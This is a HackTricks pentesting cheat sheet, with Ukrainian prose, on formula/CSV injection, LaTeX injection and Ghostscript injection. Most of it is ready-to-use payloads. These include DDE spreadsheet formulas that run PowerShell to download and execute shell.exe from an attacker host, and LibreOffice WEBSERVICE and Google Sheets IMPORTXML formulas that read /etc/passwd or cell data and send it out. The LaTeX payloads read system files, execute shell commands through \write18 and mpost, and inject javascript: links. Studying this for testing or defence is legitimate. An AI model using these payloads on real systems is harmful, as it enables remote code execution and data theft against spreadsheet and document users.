# Formula/CSV/Doc/LaTeX/GhostScript Injection {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Formula Injection ### Info Π―ΠΊΡ‰ΠΎ ваш **Π²Ρ…Ρ–Π΄** Π²Ρ–Π΄ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ”Ρ‚ΡŒΡΡ всСрСдині **CSV Ρ„Π°ΠΉΠ»Ρ–Π²** (Π°Π±ΠΎ Π±ΡƒΠ΄ΡŒ-якого Ρ–Π½ΡˆΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Ρƒ, який, ΠΉΠΌΠΎΠ²Ρ–Ρ€Π½ΠΎ, Π±ΡƒΠ΄Π΅ Π²Ρ–Π΄ΠΊΡ€ΠΈΡ‚ΠΈΠΉ Π² **Excel**), Π²ΠΈ, ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΎ, Π·ΠΌΠΎΠΆΠ΅Ρ‚Π΅ вставити **Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈ** Excel, які Π±ΡƒΠ΄ΡƒΡ‚ΡŒ **Π²ΠΈΠΊΠΎΠ½Π°Π½Ρ–**, ΠΊΠΎΠ»ΠΈ користувач **Π²Ρ–Π΄ΠΊΡ€ΠΈΠ²Π°Ρ” Ρ„Π°ΠΉΠ»** Π°Π±ΠΎ ΠΊΠΎΠ»ΠΈ користувач **натискає Π½Π° дСякС посилання** всСрСдині Π°Ρ€ΠΊΡƒΡˆΠ° Excel. {% hint style="danger" %} Π‘ΡŒΠΎΠ³ΠΎΠ΄Π½Ρ– **Excel ΠΏΠΎΠΏΠ΅Ρ€Π΅Π΄ΠΈΡ‚ΡŒ** (Π΄Π΅ΠΊΡ–Π»ΡŒΠΊΠ° Ρ€Π°Π·Ρ–Π²) **користувача, ΠΊΠΎΠ»ΠΈ Ρ‰ΠΎΡΡŒ Π·Π°Π²Π°Π½Ρ‚Π°ΠΆΡƒΡ”Ρ‚ΡŒΡΡ Π·Π·ΠΎΠ²Π½Ρ– Excel**, Ρ‰ΠΎΠ± Π·Π°ΠΏΠΎΠ±Ρ–Π³Ρ‚ΠΈ ΠΉΠΎΠΌΡƒ Π²Ρ–Π΄ Π·Π»ΠΎΡ‡ΠΈΠ½Π½ΠΈΡ… Π΄Ρ–ΠΉ. Π’ΠΎΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…Ρ–Π΄Π½ΠΎ докласти особливих Π·ΡƒΡΠΈΠ»ΡŒ Ρƒ ΡΠΎΡ†Ρ–Π°Π»ΡŒΠ½ΠΎΠΌΡƒ Ρ–Π½ΠΆΠ΅Π½Π΅Ρ€Ρ–Ρ— для Ρ„Ρ–Π½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ payload. {% endhint %} ### [Wordlist](https://github.com/payloadbox/csv-injection-payloads) ``` DDE ("cmd";"/C calc";"!A0")A0 @SUM(1+9)*cmd|' /C calc'!A0 =10+20+cmd|' /C calc'!A0 =cmd|' /C notepad'!'A1' =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 =cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1 ``` ### Hyperlink **Наступний ΠΏΡ€ΠΈΠΊΠ»Π°Π΄ Ρ” Π΄ΡƒΠΆΠ΅ корисним для Π΅ΠΊΡΡ„Ρ–Π»ΡŒΡ‚Ρ€Π°Ρ†Ρ–Ρ— вмісту Π· Ρ„Ρ–Π½Π°Π»ΡŒΠ½ΠΎΡ— Ρ‚Π°Π±Π»ΠΈΡ†Ρ– Excel Ρ‚Π° для виконання Π·Π°ΠΏΠΈΡ‚Ρ–Π² Π΄ΠΎ Π΄ΠΎΠ²Ρ–Π»ΡŒΠ½ΠΈΡ… ΠΌΡ–ΡΡ†ΡŒ. АлС Ρ†Π΅ Π²ΠΈΠΌΠ°Π³Π°Ρ”, Ρ‰ΠΎΠ± користувач натиснув Π½Π° посилання (Ρ– прийняв попСрСдТСння).** Наступний ΠΏΡ€ΠΈΠΊΠ»Π°Π΄ Π±ΡƒΠ² взятий Π· [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) Π£ΡΠ²Ρ–Ρ‚ΡŒ, Ρ‰ΠΎ Ρƒ систСмі управління записами студСнтів сталася Π²ΠΈΡ‚Ρ–ΠΊ Π±Π΅Π·ΠΏΠ΅ΠΊΠΈ, який Π±ΡƒΠ² використаний Ρ‡Π΅Ρ€Π΅Π· Π°Ρ‚Π°ΠΊΡƒ CSV injection. Основна ΠΌΠ΅Ρ‚Π° зловмисника - скомпромСтувати систСму, яку Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡŽΡ‚ΡŒ Π²Ρ‡ΠΈΡ‚Π΅Π»Ρ– для управління Π΄Π°Π½ΠΈΠΌΠΈ студСнтів. ΠœΠ΅Ρ‚ΠΎΠ΄ полягає Π² Ρ‚ΠΎΠΌΡƒ, Ρ‰ΠΎ зловмисник Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΠΉ ΠΊΠΎΠ΄ Ρƒ Π΄ΠΎΠ΄Π°Ρ‚ΠΎΠΊ, Π·ΠΎΠΊΡ€Π΅ΠΌΠ°, вводячи ΡˆΠΊΡ–Π΄Π»ΠΈΠ²Ρ– Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈ Ρƒ поля, ΠΏΡ€ΠΈΠ·Π½Π°Ρ‡Π΅Π½Ρ– для Π΄Π°Π½ΠΈΡ… студСнтів. Атака Ρ€ΠΎΠ·Π³ΠΎΡ€Ρ‚Π°Ρ”Ρ‚ΡŒΡΡ наступним Ρ‡ΠΈΠ½ΠΎΠΌ: 1. **ВвСдСння ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Ρƒ:** * Зловмисник ΠΏΠΎΠ΄Π°Ρ” Ρ„ΠΎΡ€ΠΌΡƒ Π΄Π°Π½ΠΈΡ… студСнта, Π°Π»Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ” Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ, яка Π·Π°Π·Π²ΠΈΡ‡Π°ΠΉ Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡ”Ρ‚ΡŒΡΡ Π² Π΅Π»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΠΈΡ… таблицях (Π½Π°ΠΏΡ€ΠΈΠΊΠ»Π°Π΄, `=HYPERLINK("","Click here")`). * Ця Ρ„ΠΎΡ€ΠΌΡƒΠ»Π° ΠΏΡ€ΠΈΠ·Π½Π°Ρ‡Π΅Π½Π° для створСння гіпСрпосилання, Π°Π»Π΅ Π²ΠΎΠ½Π° Π²ΠΊΠ°Π·ΡƒΡ” Π½Π° ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΠΉ сСрвСр, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠΎΠ²Π°Π½ΠΈΠΉ зловмисником. 2. **Експорт скомпромСтованих Π΄Π°Π½ΠΈΡ…:** * Π’Ρ‡ΠΈΡ‚Π΅Π»Ρ–, Π½Π΅ ΠΏΡ–Π΄ΠΎΠ·Ρ€ΡŽΡŽΡ‡ΠΈ ΠΏΡ€ΠΎ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚Π°Ρ†Ρ–ΡŽ, Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡŽΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†Ρ–ΠΎΠ½Π°Π»ΡŒΠ½Ρ–ΡΡ‚ΡŒ Π΄ΠΎΠ΄Π°Ρ‚ΠΊΠ° для Скспорту Π΄Π°Π½ΠΈΡ… Ρƒ Ρ„Π°ΠΉΠ» CSV. * Π€Π°ΠΉΠ» CSV, ΠΊΠΎΠ»ΠΈ ΠΉΠΎΠ³ΠΎ Π²Ρ–Π΄ΠΊΡ€ΠΈΠ²Π°ΡŽΡ‚ΡŒ, всС Ρ‰Π΅ ΠΌΡ–ΡΡ‚ΠΈΡ‚ΡŒ ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΠΉ ΠΊΠΎΠ΄. Π¦Π΅ΠΉ ΠΊΠΎΠ΄ Π·'ΡΠ²Π»ΡΡ”Ρ‚ΡŒΡΡ як ΠΊΠ»Ρ–ΠΊΠ°Π±Π΅Π»ΡŒΠ½Π΅ гіпСрпосилання Π² Π΅Π»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½Ρ–ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Ρ–. 3. **Активація Π°Ρ‚Π°ΠΊΠΈ:** * Π’Ρ‡ΠΈΡ‚Π΅Π»ΡŒ натискає Π½Π° гіпСрпосилання, Π²Π²Π°ΠΆΠ°ΡŽΡ‡ΠΈ ΠΉΠΎΠ³ΠΎ Π»Π΅Π³Ρ–Ρ‚ΠΈΠΌΠ½ΠΎΡŽ Ρ‡Π°ΡΡ‚ΠΈΠ½ΠΎΡŽ Π΄Π°Π½ΠΈΡ… студСнта. * ΠŸΡ–ΡΠ»Ρ натискання Ρ‡ΡƒΡ‚Π»ΠΈΠ²Ρ– Π΄Π°Π½Ρ– (ΠΌΠΎΠΆΠ»ΠΈΠ²ΠΎ, Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‡ΠΈ Π΄Π΅Ρ‚Π°Π»Ρ– Π· Π΅Π»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΠΎΡ— Ρ‚Π°Π±Π»ΠΈΡ†Ρ– Π°Π±ΠΎ ΠΊΠΎΠΌΠΏ'ΡŽΡ‚Π΅Ρ€Π° вчитСля) ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡŒΡΡ Π½Π° сСрвСр зловмисника. 4. **Логування Π΄Π°Π½ΠΈΡ…:** * Π‘Π΅Ρ€Π²Π΅Ρ€ зловмисника ΠΎΡ‚Ρ€ΠΈΠΌΡƒΡ” Ρ‚Π° рСєструє Ρ‡ΡƒΡ‚Π»ΠΈΠ²Ρ– Π΄Π°Π½Ρ–, надіслані Π· ΠΊΠΎΠΌΠΏ'ΡŽΡ‚Π΅Ρ€Π° вчитСля. * Зловмисник ΠΌΠΎΠΆΠ΅ ΠΏΠΎΡ‚Ρ–ΠΌ використовувати Ρ†Ρ– Π΄Π°Π½Ρ– для Ρ€Ρ–Π·Π½ΠΈΡ… ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΡ… Ρ†Ρ–Π»Π΅ΠΉ, Ρ‰Π΅ Π±Ρ–Π»ΡŒΡˆΠ΅ ΠΊΠΎΠΌΠΏΡ€ΠΎΠΌΠ΅Ρ‚ΡƒΡŽΡ‡ΠΈ ΠΊΠΎΠ½Ρ„Ρ–Π΄Π΅Π½Ρ†Ρ–ΠΉΠ½Ρ–ΡΡ‚ΡŒ Ρ– Π±Π΅Π·ΠΏΠ΅ΠΊΡƒ студСнтів Ρ‚Π° установи. ### RCE **ΠŸΠ΅Ρ€Π΅Π²Ρ–Ρ€Ρ‚Π΅** [**ΠΎΡ€ΠΈΠ³Ρ–Π½Π°Π»ΡŒΠ½ΠΈΠΉ пост**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **для отримання Π΄ΠΎΠ΄Π°Ρ‚ΠΊΠΎΠ²ΠΈΡ… Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ.** Π£ спСцифічних конфігураціях Π°Π±ΠΎ ΡΡ‚Π°Ρ€Ρ–ΡˆΠΈΡ… вСрсіях Excel функція, Π·Π²Π°Π½ΠΈΠΉ Π”ΠΈΠ½Π°ΠΌΡ–Ρ‡Π½ΠΈΠΉ ΠΎΠ±ΠΌΡ–Π½ Π΄Π°Π½ΠΈΠΌΠΈ (DDE), ΠΌΠΎΠΆΠ΅ Π±ΡƒΡ‚ΠΈ використана для виконання Π΄ΠΎΠ²Ρ–Π»ΡŒΠ½ΠΈΡ… ΠΊΠΎΠΌΠ°Π½Π΄. Π©ΠΎΠ± скористатися Ρ†ΠΈΠΌ, Π½Π΅ΠΎΠ±Ρ…Ρ–Π΄Π½ΠΎ Π°ΠΊΡ‚ΠΈΠ²ΡƒΠ²Π°Ρ‚ΠΈ наступні Π½Π°Π»Π°ΡˆΡ‚ΡƒΠ²Π°Π½Π½Ρ: * ΠŸΠ΅Ρ€Π΅ΠΉΠ΄Ρ–Ρ‚ΡŒ Π΄ΠΎ Π€Π°ΠΉΠ» β†’ ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΈ β†’ Π¦Π΅Π½Ρ‚Ρ€ управління бСзпСкою β†’ ΠΠ°Π»Π°ΡˆΡ‚ΡƒΠ²Π°Π½Π½Ρ Π¦Π΅Π½Ρ‚Ρ€Ρƒ управління бСзпСкою β†’ Π—ΠΎΠ²Π½Ρ–ΡˆΠ½Ρ–ΠΉ вміст, Ρ– Π°ΠΊΡ‚ΠΈΠ²ΡƒΠΉΡ‚Π΅ **Запуск сСрвСра Π΄ΠΈΠ½Π°ΠΌΡ–Ρ‡Π½ΠΎΠ³ΠΎ ΠΎΠ±ΠΌΡ–Π½Ρƒ Π΄Π°Π½ΠΈΠΌΠΈ**. Коли Π΅Π»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½Π° таблиця Π· ΡˆΠΊΡ–Π΄Π»ΠΈΠ²ΠΈΠΌ ΠΊΠΎΠ΄ΠΎΠΌ Π²Ρ–Π΄ΠΊΡ€ΠΈΠ²Π°Ρ”Ρ‚ΡŒΡΡ (Ρ– якщо користувач ΠΏΡ€ΠΈΠΉΠΌΠ°Ρ” попСрСдТСння), ΠΊΠΎΠ΄ Π²ΠΈΠΊΠΎΠ½ΡƒΡ”Ρ‚ΡŒΡΡ. Наприклад, Ρ‰ΠΎΠ± запустити ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΡƒ ΠΊΠ°Π»ΡŒΠΊΡƒΠ»ΡΡ‚ΠΎΡ€Π°, ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅: ```markdown =cmd|' /C calc'!xxx ``` Π”ΠΎΠ΄Π°Ρ‚ΠΊΠΎΠ²Ρ– ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Ρ‚Π°ΠΊΠΎΠΆ ΠΌΠΎΠΆΡƒΡ‚ΡŒ Π±ΡƒΡ‚ΠΈ Π²ΠΈΠΊΠΎΠ½Π°Π½Ρ–, Ρ‚Π°ΠΊΡ– як завантаТСння Ρ‚Π° виконання Ρ„Π°ΠΉΠ»Ρƒ Π·Π° допомогою PowerShell: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` ### Local File Inclusion (LFI) in LibreOffice Calc LibreOffice Calc ΠΌΠΎΠΆΠ΅ Π±ΡƒΡ‚ΠΈ використаний для читання Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΠΈΡ… Ρ„Π°ΠΉΠ»Ρ–Π² Ρ‚Π° Π΅ΠΊΡΡ„Ρ–Π»ΡŒΡ‚Ρ€Π°Ρ†Ρ–Ρ— Π΄Π°Π½ΠΈΡ…. Ось ΠΊΡ–Π»ΡŒΠΊΠ° ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ–Π²: * Читання ΠΏΠ΅Ρ€ΡˆΠΎΠ³ΠΎ рядка Π· локального Ρ„Π°ΠΉΠ»Ρƒ `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1` * Π•ΠΊΡΡ„Ρ–Π»ΡŒΡ‚Ρ€Π°Ρ†Ρ–Ρ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½ΠΈΡ… Π΄Π°Π½ΠΈΡ… Π½Π° сСрвСр, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠΎΠ²Π°Π½ΠΈΠΉ зловмисником: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))` * Π•ΠΊΡΡ„Ρ–Π»ΡŒΡ‚Ρ€Π°Ρ†Ρ–Ρ Π±Ρ–Π»ΡŒΡˆΠ΅ Π½Ρ–ΠΆ ΠΎΠ΄Π½ΠΎΠ³ΠΎ рядка: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` * DNS Π΅ΠΊΡΡ„Ρ–Π»ΡŒΡ‚Ρ€Π°Ρ†Ρ–Ρ (Π²Ρ–Π΄ΠΏΡ€Π°Π²ΠΊΠ° ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Π½ΠΈΡ… Π΄Π°Π½ΠΈΡ… як DNS Π·Π°ΠΏΠΈΡ‚ΠΈ Π½Π° сСрвСр DNS, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠΎΠ²Π°Π½ΠΈΠΉ зловмисником): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))` ### Google Sheets for Out-of-Band (OOB) Data Exfiltration Google Sheets ΠΏΡ€ΠΎΠΏΠΎΠ½ΡƒΡ” Ρ„ΡƒΠ½ΠΊΡ†Ρ–Ρ—, які ΠΌΠΎΠΆΡƒΡ‚ΡŒ Π±ΡƒΡ‚ΠΈ використані для OOB Π΅ΠΊΡΡ„Ρ–Π»ΡŒΡ‚Ρ€Π°Ρ†Ρ–Ρ— Π΄Π°Π½ΠΈΡ…: * **CONCATENATE**: Об'Ρ”Π΄Π½ΡƒΡ” рядки - `=CONCATENATE(A2:E2)` * **IMPORTXML**: Π†ΠΌΠΏΠΎΡ€Ρ‚ΡƒΡ” Π΄Π°Π½Ρ– Π· структурованих Ρ‚ΠΈΠΏΡ–Π² Π΄Π°Π½ΠΈΡ… - `=IMPORTXML(CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` * **IMPORTFEED**: Π†ΠΌΠΏΠΎΡ€Ρ‚ΡƒΡ” RSS Π°Π±ΠΎ ATOM стрічки - `=IMPORTFEED(CONCAT("http:////123.txt?v=", CONCATENATE(A2:E2)))` * **IMPORTHTML**: Π†ΠΌΠΏΠΎΡ€Ρ‚ΡƒΡ” Π΄Π°Π½Ρ– Π· HTML Ρ‚Π°Π±Π»ΠΈΡ†ΡŒ Π°Π±ΠΎ списків - `=IMPORTHTML (CONCAT("http:///123.txt?v=", CONCATENATE(A2:E2)),"table",1)` * **IMPORTRANGE**: Π†ΠΌΠΏΠΎΡ€Ρ‚ΡƒΡ” Π΄Ρ–Π°ΠΏΠ°Π·ΠΎΠ½ ΠΊΠ»Ρ–Ρ‚ΠΈΠ½ΠΎΠΊ Π· Ρ–Π½ΡˆΠΎΡ— Ρ‚Π°Π±Π»ΠΈΡ†Ρ– - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` * **IMAGE**: Вставляє зобраТСння Π² ΠΊΠ»Ρ–Ρ‚ΠΈΠ½ΠΊΡƒ - `=IMAGE("https:///images/srpr/logo3w.png")` ## LaTeX Injection Π—Π°Π·Π²ΠΈΡ‡Π°ΠΉ сСрвСри, які ΠΌΠΎΠΆΠ½Π° Π·Π½Π°ΠΉΡ‚ΠΈ Π² Ρ–Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρ–, Ρ‰ΠΎ **ΠΏΠ΅Ρ€Π΅Ρ‚Π²ΠΎΡ€ΡŽΡŽΡ‚ΡŒ LaTeX ΠΊΠΎΠ΄ Π½Π° PDF**, Π²ΠΈΠΊΠΎΡ€ΠΈΡΡ‚ΠΎΠ²ΡƒΡŽΡ‚ΡŒ **`pdflatex`**.\ Ця ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠ° використовує 3 основні Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΈ для (Π½Π΅)Π΄ΠΎΠ·Π²ΠΎΠ»Ρƒ виконання ΠΊΠΎΠΌΠ°Π½Π΄: * **`--no-shell-escape`**: **Π’ΠΈΠΌΠΊΠ½ΡƒΡ‚ΠΈ** ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†Ρ–ΡŽ `\write18{command}`, Π½Π°Π²Ρ–Ρ‚ΡŒ якщо Π²ΠΎΠ½Π° ΡƒΠ²Ρ–ΠΌΠΊΠ½Π΅Π½Π° Ρƒ Ρ„Π°ΠΉΠ»Ρ– texmf.cnf. * **`--shell-restricted`**: Π’Π΅ ΠΆ самС, Ρ‰ΠΎ Ρ– `--shell-escape`, Π°Π»Π΅ **ΠΎΠ±ΠΌΠ΅ΠΆΠ΅Π½ΠΎ** Π΄ΠΎ 'Π±Π΅Π·ΠΏΠ΅Ρ‡Π½ΠΎΠ³ΠΎ' Π½Π°Π±ΠΎΡ€Ρƒ **ΠΏΠΎΠΏΠ΅Ρ€Π΅Π΄Π½ΡŒΠΎ Π²ΠΈΠ·Π½Π°Ρ‡Π΅Π½ΠΈΡ…** \*\*ΠΊΠΎΠΌΠ°Π½Π΄ (\*\*На Ubuntu 16.04 список Π·Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² `/usr/share/texmf/web2c/texmf.cnf`). * **`--shell-escape`**: **Π£Π²Ρ–ΠΌΠΊΠ½ΡƒΡ‚ΠΈ** ΠΊΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ†Ρ–ΡŽ `\write18{command}`. Команда ΠΌΠΎΠΆΠ΅ Π±ΡƒΡ‚ΠΈ Π±ΡƒΠ΄ΡŒ-якою командою ΠΎΠ±ΠΎΠ»ΠΎΠ½ΠΊΠΈ. Ця конструкція Π·Π°Π·Π²ΠΈΡ‡Π°ΠΉ Π·Π°Π±ΠΎΡ€ΠΎΠ½Π΅Π½Π° Π· ΠΌΡ–Ρ€ΠΊΡƒΠ²Π°Π½ΡŒ Π±Π΅Π·ΠΏΠ΅ΠΊΠΈ. Однак Ρ” ΠΉ Ρ–Π½ΡˆΡ– способи виконання ΠΊΠΎΠΌΠ°Π½Π΄, Ρ‚ΠΎΠΌΡƒ, Ρ‰ΠΎΠ± ΡƒΠ½ΠΈΠΊΠ½ΡƒΡ‚ΠΈ RCE, Π΄ΡƒΠΆΠ΅ Π²Π°ΠΆΠ»ΠΈΠ²ΠΎ використовувати `--shell-restricted`. ### Read file Π’Π°ΠΌ ΠΌΠΎΠΆΠ΅ знадобитися Π½Π°Π»Π°ΡˆΡ‚ΡƒΠ²Π°Ρ‚ΠΈ Ρ–Π½'Ρ”ΠΊΡ†Ρ–ΡŽ Π· ΠΎΠ±Π³ΠΎΡ€Ρ‚ΠΊΠ°ΠΌΠΈ, Ρ‚Π°ΠΊΠΈΠΌΠΈ як \[ Π°Π±ΠΎ $. ```bash \input{/etc/passwd} \include{password} # load .tex file \lstinputlisting{/usr/share/texmf/web2c/texmf.cnf} \usepackage{verbatim} \verbatiminput{/etc/passwd} ``` #### ΠŸΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΠΈ Ρ„Π°ΠΉΠ» Π· ΠΎΠ΄Π½ΠΎΠ³ΠΎ рядка ```bash \newread\file \openin\file=/etc/issue \read\file to\line \text{\line} \closein\file ``` #### Читання Ρ„Π°ΠΉΠ»Ρƒ Π· ΠΊΡ–Π»ΡŒΠΊΠΎΠΌΠ° рядками ```bash \newread\file \openin\file=/etc/passwd \loop\unless\ifeof\file \read\file to\fileline \text{\fileline} \repeat \closein\file ``` ### Записати Ρ„Π°ΠΉΠ» ```bash \newwrite\outfile \openout\outfile=cmd.tex \write\outfile{Hello-world} \closeout\outfile ``` ### Виконання ΠΊΠΎΠΌΠ°Π½Π΄ Π’Ρ…Ρ–Π΄Π½Ρ– Π΄Π°Π½Ρ– ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Ρ– Π΄ΠΎ stdin, використовуйтС тимчасовий Ρ„Π°ΠΉΠ», Ρ‰ΠΎΠ± Ρ—Ρ… ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ. ```bash \immediate\write18{env > output} \input{output} \input{|"/bin/hostname"} \input{|"extractbb /etc/passwd > /tmp/b.tex"} # allowed mpost command RCE \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"} \end{document} # If mpost is not allowed there are other commands you might be able to execute ## Just get the version \input{|"bibtex8 --version > /tmp/b.tex"} ## Search the file pdfetex.ini \input{|"kpsewhich pdfetex.ini > /tmp/b.tex"} ## Get env var value \input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"} ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` Π―ΠΊΡ‰ΠΎ Π²ΠΈ ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ”Ρ‚Π΅ Π±ΡƒΠ΄ΡŒ-яку ΠΏΠΎΠΌΠΈΠ»ΠΊΡƒ LaTex, Ρ€ΠΎΠ·Π³Π»ΡΠ½ΡŒΡ‚Π΅ ΠΌΠΎΠΆΠ»ΠΈΠ²Ρ–ΡΡ‚ΡŒ використання base64, Ρ‰ΠΎΠ± ΠΎΡ‚Ρ€ΠΈΠΌΠ°Ρ‚ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π±Π΅Π· ΠΏΠΎΠ³Π°Π½ΠΈΡ… символів. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` ```bash \input|ls|base4 \input{|"/bin/hostname"} ``` ### Cross Site Scripting Π’Ρ–Π΄ [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) ```bash \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` ## Ghostscript Injection **ΠŸΠ΅Ρ€Π΅Π²Ρ–Ρ€Ρ‚Π΅** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) ## References * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}